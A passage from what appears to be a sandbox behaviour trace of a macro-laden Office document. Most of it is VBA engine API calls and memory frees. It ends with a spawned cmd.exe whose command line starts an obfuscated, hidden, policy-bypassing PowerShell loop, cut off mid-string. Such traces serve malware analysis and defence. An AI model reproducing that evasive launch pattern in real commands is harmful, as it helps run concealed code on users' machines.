0xffffffffffffffff [0160.648] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6488fc4, dwSize=0x4b) returned 1 [0160.648] RtlLookupFunctionEntry (in: ControlPc=0x6488fc4, ImageBase=0x20a7a8, HistoryTable=0x20a7b0 | out: ImageBase=0x20a7a8, HistoryTable=0x20a7b0) returned 0x648901c [0160.648] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.648] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.648] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.648] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001150) returned 1 [0160.648] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.649] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x252) returned 0x7fee5ee5210 [0160.649] GetCurrentProcess () returned 0xffffffffffffffff [0160.649] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x64893b4, dwSize=0x3b) returned 1 [0160.649] RtlLookupFunctionEntry (in: ControlPc=0x64893b4, ImageBase=0x20a7a8, HistoryTable=0x20a7b0 | out: ImageBase=0x20a7a8, HistoryTable=0x20a7b0) returned 0x64893fc [0160.649] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.649] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.649] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.650] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001151) returned 1 [0160.650] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.650] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x251) returned 0x7fee5ee5248 [0160.650] GetCurrentProcess () returned 0xffffffffffffffff [0160.650] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489474, dwSize=0x3b) returned 1 [0160.650] RtlLookupFunctionEntry (in: ControlPc=0x6489474, ImageBase=0x20a7a8, HistoryTable=0x20a7b0 | out: ImageBase=0x20a7a8, HistoryTable=0x20a7b0) returned 0x64894bc [0160.650] CExposedDocFile::Release () returned 0x1 [0160.651] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.651] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.651] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001152) returned 1 [0160.651] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.652] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x258) returned 0x7fee5cec6fc [0160.652] GetCurrentProcess () returned 0xffffffffffffffff [0160.652] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628bec, dwSize=0x43) returned 1 [0160.652] RtlLookupFunctionEntry (in: ControlPc=0x6628bec, ImageBase=0x20a748, HistoryTable=0x20a750 | out: ImageBase=0x20a748, HistoryTable=0x20a750) returned 0x6628c3c [0160.652] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.652] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.652] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.652] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001153) returned 1 [0160.652] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.653] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x269) returned 0x7fee5d32490 [0160.653] GetCurrentProcess () returned 0xffffffffffffffff [0160.653] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x648a194, dwSize=0x4b) returned 1 [0160.653] RtlLookupFunctionEntry (in: ControlPc=0x648a194, ImageBase=0x20a748, HistoryTable=0x20a750 | out: ImageBase=0x20a748, HistoryTable=0x20a750) returned 0x648a1ec [0160.653] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.653] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.653] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.653] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001154) returned 1 [0160.653] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.654] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x260) returned 0x7fee5d3142c [0160.654] GetCurrentProcess () returned 0xffffffffffffffff [0160.654] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489f44, dwSize=0x43) returned 1 [0160.654] RtlLookupFunctionEntry (in: ControlPc=0x6489f44, ImageBase=0x20a748, HistoryTable=0x20a750 | out: ImageBase=0x20a748, HistoryTable=0x20a750) returned 0x6489f94 [0160.654] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.654] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.654] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.654] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001155) returned 1 [0160.654] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.655] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x222) returned 0x7fee5d33da8 [0160.655] GetCurrentProcess () returned 0xffffffffffffffff [0160.655] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x648a04c, dwSize=0x3b) returned 1 [0160.655] RtlLookupFunctionEntry (in: ControlPc=0x648a04c, ImageBase=0x20a748, HistoryTable=0x20a750 | out: ImageBase=0x20a748, HistoryTable=0x20a750) returned 0x648a094 [0160.655] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.655] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.655] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.656] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001156) returned 1 [0160.656] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.657] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x259) returned 0x7fee5f6c3e0 [0160.657] GetCurrentProcess () returned 0xffffffffffffffff [0160.657] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489cf4, dwSize=0x43) returned 1 [0160.657] RtlLookupFunctionEntry (in: ControlPc=0x6489cf4, ImageBase=0x20a748, HistoryTable=0x20a750 | out: ImageBase=0x20a748, HistoryTable=0x20a750) returned 0x6489d44 [0160.657] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.657] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.657] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.657] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001157) returned 1 [0160.657] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.658] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x220) returned 0x7fee5d31bac [0160.658] GetCurrentProcess () returned 0xffffffffffffffff [0160.658] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489dec, dwSize=0x43) returned 1 [0160.658] RtlLookupFunctionEntry (in: ControlPc=0x6489dec, ImageBase=0x20a748, HistoryTable=0x20a750 | out: ImageBase=0x20a748, HistoryTable=0x20a750) returned 0x6489e3c [0160.658] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.658] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.658] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.659] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001158) returned 1 [0160.659] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.660] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x223) returned 0x7fee5d31c1c [0160.660] GetCurrentProcess () returned 0xffffffffffffffff [0160.660] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489854, dwSize=0x43) returned 1 [0160.660] RtlLookupFunctionEntry (in: ControlPc=0x6489854, ImageBase=0x20a748, HistoryTable=0x20a750 | out: ImageBase=0x20a748, HistoryTable=0x20a750) returned 0x64898a4 [0160.660] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.660] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.660] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.660] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00001159) returned 1 [0160.660] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.661] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x26b) returned 0x7fee5d32540 [0160.661] GetCurrentProcess () returned 0xffffffffffffffff [0160.661] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6488fc4, dwSize=0x4b) returned 1 [0160.661] RtlLookupFunctionEntry (in: ControlPc=0x6488fc4, ImageBase=0x20a748, HistoryTable=0x20a750 | out: ImageBase=0x20a748, HistoryTable=0x20a750) returned 0x648901c [0160.661] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.661] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.661] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.662] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df0000115a) returned 1 [0160.662] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.662] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x252) returned 0x7fee5ee5210 [0160.662] GetCurrentProcess () returned 0xffffffffffffffff [0160.662] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x64893b4, dwSize=0x3b) returned 1 [0160.662] RtlLookupFunctionEntry (in: ControlPc=0x64893b4, ImageBase=0x20a748, HistoryTable=0x20a750 | out: ImageBase=0x20a748, HistoryTable=0x20a750) returned 0x64893fc [0160.662] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.663] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0160.663] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0160.663] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df0000115b) returned 1 [0160.663] SetErrorMode (uMode=0x8001) returned 0x8001 [0160.664] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x251) returned 0x7fee5ee5248 [0160.664] GetCurrentProcess () returned 0xffffffffffffffff [0160.664] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6489474, dwSize=0x3b) returned 1 [0160.664] RtlLookupFunctionEntry (in: ControlPc=0x6489474, ImageBase=0x20a748, HistoryTable=0x20a750 | out: ImageBase=0x20a748, HistoryTable=0x20a750) returned 0x64894bc [0160.664] IMalloc:Free (This=0x7fefe465380, pv=0x6640ac0) [0160.664] IMalloc:Free (This=0x7fefe465380, pv=0x5941480) [0160.664] IUnknown:AddRef (This=0xb824938) returned 0x3 [0160.664] IMalloc:Free (This=0x7fefe465380, pv=0xb7bd580) [0160.665] IMalloc:Free (This=0x7fefe465380, pv=0xb985110) [0160.668] IMalloc:Free (This=0x7fefe465380, pv=0xb984fb0) [0160.668] GetCurrentThreadId () returned 0xa30 [0160.668] SetCursor (hCursor=0x10007) returned 0x10007 [0160.668] CExposedDocFile::Release () returned 0x0 [0160.668] CExposedDocFile::Release () returned 0x0 [0160.669] IMalloc:Free (This=0x7fefe465380, pv=0x5a51580) [0160.669] GetCurrentThreadId () returned 0xa30 [0160.669] GetCurrentThreadId () returned 0xa30 [0160.669] IUnknown:Release (This=0xb941350) returned 0x0 [0160.669] IMalloc:Free (This=0x7fefe465380, pv=0xb99cd10) [0160.669] IMalloc:Free (This=0x7fefe465380, pv=0x5b43f50) [0160.669] IMalloc:Free (This=0x7fefe465380, pv=0x6516d00) [0160.669] IMalloc:Free (This=0x7fefe465380, pv=0x6534c40) [0160.669] IMalloc:Free (This=0x7fefe465380, pv=0x651d040) [0160.669] IMalloc:Free (This=0x7fefe465380, pv=0x651d100) [0160.669] IMalloc:Free (This=0x7fefe465380, pv=0x651d0c0) [0160.669] IMalloc:Free (This=0x7fefe465380, pv=0xb715d70) [0160.669] RtlLookupFunctionEntry (in: ControlPc=0x6628a8c, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x662ac54, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x662acdc, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x662a2bc, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x662a3a4, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x662b53c, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x662b624, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x6627dbc, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x6627ea4, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x662b78c, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x662b874, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x0 [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0xb998c60) [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0x66e0fd0) [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0xb8ba830) [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0xb8bb970) [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x6628bec, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x6628c3c [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x6489cf4, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x6489d44 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x64893b4, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x64893fc [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x6489474, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x64894bc [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x6488fc4, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x648901c [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x648a194, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x648a1ec [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x6489f44, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x6489f94 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x648a04c, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x648a094 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x6489854, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x64898a4 [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x6489dec, ImageBase=0x20af50, HistoryTable=0x20af70 | out: ImageBase=0x20af50, HistoryTable=0x20af70) returned 0x6489e3c [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0xb8bd350) [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0xb8bc210) [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0xb8bbdc0) [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0x67111b0) [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0xb8bc660) [0160.670] RtlLookupFunctionEntry (in: ControlPc=0x662afa4, ImageBase=0x20af90, HistoryTable=0x20afb0 | out: ImageBase=0x20af90, HistoryTable=0x20afb0) returned 0x662b000 [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0xb8bcf00) [0160.670] IMalloc:Free (This=0x7fefe465380, pv=0xb949340) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb73c160) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb7e4ea0) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x646bf30) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x646be50) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb958e00) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb958d00) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb958c10) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb958b50) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb958310) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb958210) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x6784e30) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x646b230) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x6784d60) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x6534c80) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x6725890) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x66f1c90) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x67aba30) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb9f55c0) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb94bfb0) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x666f050) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x666ef30) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x666eed0) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x666f6b0) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x666f5f0) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x666f650) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x6753800) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x674c420) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x614bef0) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x67538c0) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x66f1e50) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x66f1980) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0xb949a30) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x58bb9f0) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x58baa10) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x58bd9d0) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x58bcb50) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x58bc350) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x58bd110) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x58bdb30) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x58ba670) [0160.671] IMalloc:Free (This=0x7fefe465380, pv=0x58bbaf0) [0160.672] IMalloc:Free (This=0x7fefe465380, pv=0x58be230) [0160.672] IMalloc:Free (This=0x7fefe465380, pv=0x6168d50) [0160.672] IMalloc:Free (This=0x7fefe465380, pv=0x66f1910) [0160.672] IMalloc:Free (This=0x7fefe465380, pv=0x674c480) [0160.672] IMalloc:Free (This=0x7fefe465380, pv=0xb8ec8f0) [0160.672] IMalloc:Free (This=0x7fefe465380, pv=0xb708120) [0160.699] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6655b70 [0160.699] IMalloc:Free (This=0x7fefe465380, pv=0x663fbe0) [0160.699] IMalloc:Free (This=0x7fefe465380, pv=0x66551c0) [0160.699] IMalloc:Free (This=0x7fefe465380, pv=0xb984980) [0160.699] IMalloc:Free (This=0x7fefe465380, pv=0x66f1de0) [0160.699] IMalloc:Free (This=0x7fefe465380, pv=0x6280e50) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x66e1a90) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x6655a20) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0xb7fb7c0) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x6655f90) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x6655b70) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x6649fb0) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x675d180) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x623c770) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x623e1b0) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0xb70a220) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0xb70a2e0) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0xb996d70) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x6655200) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x60c6cf0) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x66551d0) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x59c9710) [0160.700] IUnknown:Release (This=0xb8248e0) returned 0x0 [0160.700] IUnknown:Release (This=0xb824938) returned 0x1 [0160.700] IUnknown:Release (This=0xb824830) returned 0x0 [0160.700] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x66551d0 [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x663f2b0) [0160.700] IMalloc:Free (This=0x7fefe465380, pv=0x6655210) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0xb73c100) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0x6786b30) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0x62814a0) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0x66551f0) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0xb7fba40) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0x6655360) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0x66551d0) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0x6649fc0) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0x6633760) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0x623c530) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0x623c410) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0xb70a3a0) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0xb70a460) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0xb996e90) [0160.701] IMalloc:Free (This=0x7fefe465380, pv=0xb7fb9c0) [0160.701] wcsncpy_s (in: _Destination=0x20ae60, _SizeInWords=0x108, _Source="*\\Z045c6a753b", _MaxCount=0x106 | out: _Destination="*\\Z045c6a753b") returned 0x0 [0160.701] CharLowerBuffW (in: lpsz="*\\Z045c6a753b", cchLength=0xd | out: lpsz="*\\z045c6a753b") returned 0xd [0160.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z045c6a753b", cchWideChar=14, lpMultiByteStr=0x20ad90, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z045c6a753b", lpUsedDefaultChar=0x0) returned 14 [0160.701] _wcsicmp (_String1="*\\Z045c6a753b", _String2="*\\Z045c6a753b") returned 0 [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0x48536a0) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0x64c9960) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0x6396130) [0160.706] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x663fbc0 [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0x6640a70) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0x64c9060) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0xb73c250) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0x6283430) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0x64c19b0) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0x66e1a70) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0xb999710) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0x663fbc0) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0x6640a50) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0xb9f3b50) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0xb94be30) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0xb7fa9a0) [0160.706] IMalloc:Free (This=0x7fefe465380, pv=0xb7faa80) [0160.707] GetCurrentThreadId () returned 0xa30 [0160.707] GetCurrentThreadId () returned 0xa30 [0160.889] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1c, wParam=0x0, lParam=0x8b4) returned 0x0 [0161.503] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0161.503] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0161.504] IMalloc:Free (This=0x7fefe465380, pv=0x62583b0) [0161.504] IMalloc:Free (This=0x7fefe465380, pv=0xb7e5080) [0161.504] IMalloc:Free (This=0x7fefe465380, pv=0xb7e4e40) [0161.504] IMalloc:Free (This=0x7fefe465380, pv=0xb7b5b00) [0161.504] IMalloc:Free (This=0x7fefe465380, pv=0x6792150) [0161.504] IMalloc:Free (This=0x7fefe465380, pv=0xb8042f0) [0161.604] IMalloc:Free (This=0x7fefe465380, pv=0x66fd2b0) [0161.604] IMalloc:Free (This=0x7fefe465380, pv=0x66fc680) [0161.604] IMalloc:Free (This=0x7fefe465380, pv=0x66fca90) [0161.604] IMalloc:Free (This=0x7fefe465380, pv=0x66fcea0) [0161.604] DllDebugObjectRPCHook () returned 0x1 [0161.605] VirtualFree (lpAddress=0x5cd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.606] IMalloc:Free (This=0x7fefe465380, pv=0xb7bf9c0) [0161.606] VirtualFree (lpAddress=0x5d00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.608] IMalloc:Free (This=0x7fefe465380, pv=0xb7cadc0) [0161.609] VirtualFree (lpAddress=0x5710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.612] VirtualFree (lpAddress=0x5730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.616] VirtualFree (lpAddress=0x5720000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.623] IMalloc:Free (This=0x7fefe465380, pv=0x6650b40) [0161.623] VirtualFree (lpAddress=0x56f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.624] IMalloc:Free (This=0x7fefe465380, pv=0xb7cbb00) [0161.624] VirtualFree (lpAddress=0x56b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.630] VirtualFree (lpAddress=0x5560000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.642] IMalloc:Free (This=0x7fefe465380, pv=0x64864f0) [0161.642] IMalloc:Free (This=0x7fefe465380, pv=0x6650a70) [0161.642] IMalloc:Free (This=0x7fefe465380, pv=0x63cdd10) [0161.642] IMalloc:Free (This=0x7fefe465380, pv=0xb7e50e0) [0161.642] IMalloc:Free (This=0x7fefe465380, pv=0xb7e5110) [0161.642] IMalloc:Free (This=0x7fefe465380, pv=0x23ae3c0) [0161.642] IMalloc:Free (This=0x7fefe465380, pv=0x6621290) [0161.642] IMalloc:Free (This=0x7fefe465380, pv=0xb74c280) [0161.642] IMalloc:Free (This=0x7fefe465380, pv=0x680cdf0) [0161.657] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 32 os_tid = 0x0 Thread: id = 33 os_tid = 0xb48 Thread: id = 34 os_tid = 0xb4c Thread: id = 35 os_tid = 0xb70 Thread: id = 36 os_tid = 0xb7c Thread: id = 48 os_tid = 0x908 Thread: id = 49 os_tid = 0x8f8 Thread: id = 50 os_tid = 0x8fc Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3ea91000" os_pid = "0xb80" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa2c" cmd_line = "cMd /c\"poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen \"do{sleep 25;(.(\\\"{2}{0}{1}\\\" 